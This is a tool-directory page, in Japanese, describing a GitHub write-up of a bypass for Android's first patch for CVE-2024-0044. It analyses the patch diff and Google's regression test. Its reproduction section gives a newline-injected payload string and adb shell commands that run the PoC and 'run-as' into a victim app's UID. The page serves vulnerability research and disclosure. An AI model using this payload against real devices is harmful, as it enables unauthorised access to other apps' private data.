Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-0044 — CVE-2024-0044の初期パッチを回避するための概念実証と解説書。ADBから任意のアプリUIDへの権限昇格を可能にする、インストーラーパッケージ名インジェクションを介したAndroidフレームワークの脆弱性です。 | Kitploit
ツール/GitHubGitHub/canyie/cve-2024-0044
Androidセキュリティ特権昇格脆弱性分析エクスプロイトモバイルセキュリティ論文と研究学習と教育バイナリエクスプロイト
GitHubcanyie/cve-2024-0044

CVE-2024-0044

CVE-2024-0044の初期パッチを回避するための概念実証と解説書。ADBから任意のアプリUIDへの権限昇格を可能にする、インストーラーパッケージ名インジェクションを介したAndroidフレームワークの脆弱性です。

リポジトリを見る
1802982年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-0044/A-307532206 は、Androidフレームワークにおける高深刻度の脆弱性であり、adbアクセスを持つ攻撃者が任意のアプリのUIDで任意のコードを実行することを可能にします。この脆弱性はMeta Red Team XのTom Hebb氏によって発見されました。インターネット上では、この脆弱性を悪用する方法に関する多くの記事を見つけることができます。例えば、こちらやこちらです。詳細については、次のブログを確認してください:https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

この脆弱性に対するパッチは2024年3月のAndroidセキュリティ情報に含まれていましたが、現在、パッチを回避するエクスプロイトを考案しました。新しいパッチは2024年10月のAndroidセキュリティ情報に同じCVE ID CVE-2024-0044として含まれています。2024年10月1日より前のセキュリティパッチレベルのAndroid 12-13デバイスがこの問題の影響を受けます。

このリポジトリには、最小限の再現可能なPoCと解説が含まれています。

元のパッチの何が問題か?

パッチはPackageManagerServiceに渡されるインストーラパッケージ名の検証を追加しました:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

params.installerPackageNameは、それが正当なAndroidパッケージ名でない場合、nullにリセットされることがわかります。しかし、次の行では、params.installerPackageNameがnullまたは無効な場合、requestedInstallerPackageNameはinstallerPackageNameになる可能性があります。

installerPackageNameとは何でしょうか?

パッチが追加されたcreateSessionInternalメソッドを見てみましょう:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

installerPackageNameはparamから来ていない別の引数であることがわかります。元のパッチはparams.installerPackageNameを検証しましたが、installerPackageNameの検証を忘れていました。

再現方法

再現には、Tom Hebbのブログの元のエクスプロイトコードを使用するだけです。このリポジトリには最小限の再現可能なPoCも含まれています。私のPoCをテストしたい場合は、ビルドして生成されたapkを/data/local/tmp/poc.apkにプッシュし、adb shellで次のコードを実行してください:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

<victim uid>を被害アプリのUIDに置き換えてください。

再度試したい場合は、adb uninstall top.canyie.cve_2024_0044を実行してから、上記のコードを再実行してください。

なぜ2度も発生したのか?

問題は明白に見えますが、なぜ誰も気づかなかったのでしょうか?

Googleはこの問題に対して修正を確認するためのテストを追加しました:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });
ツールをダウンロード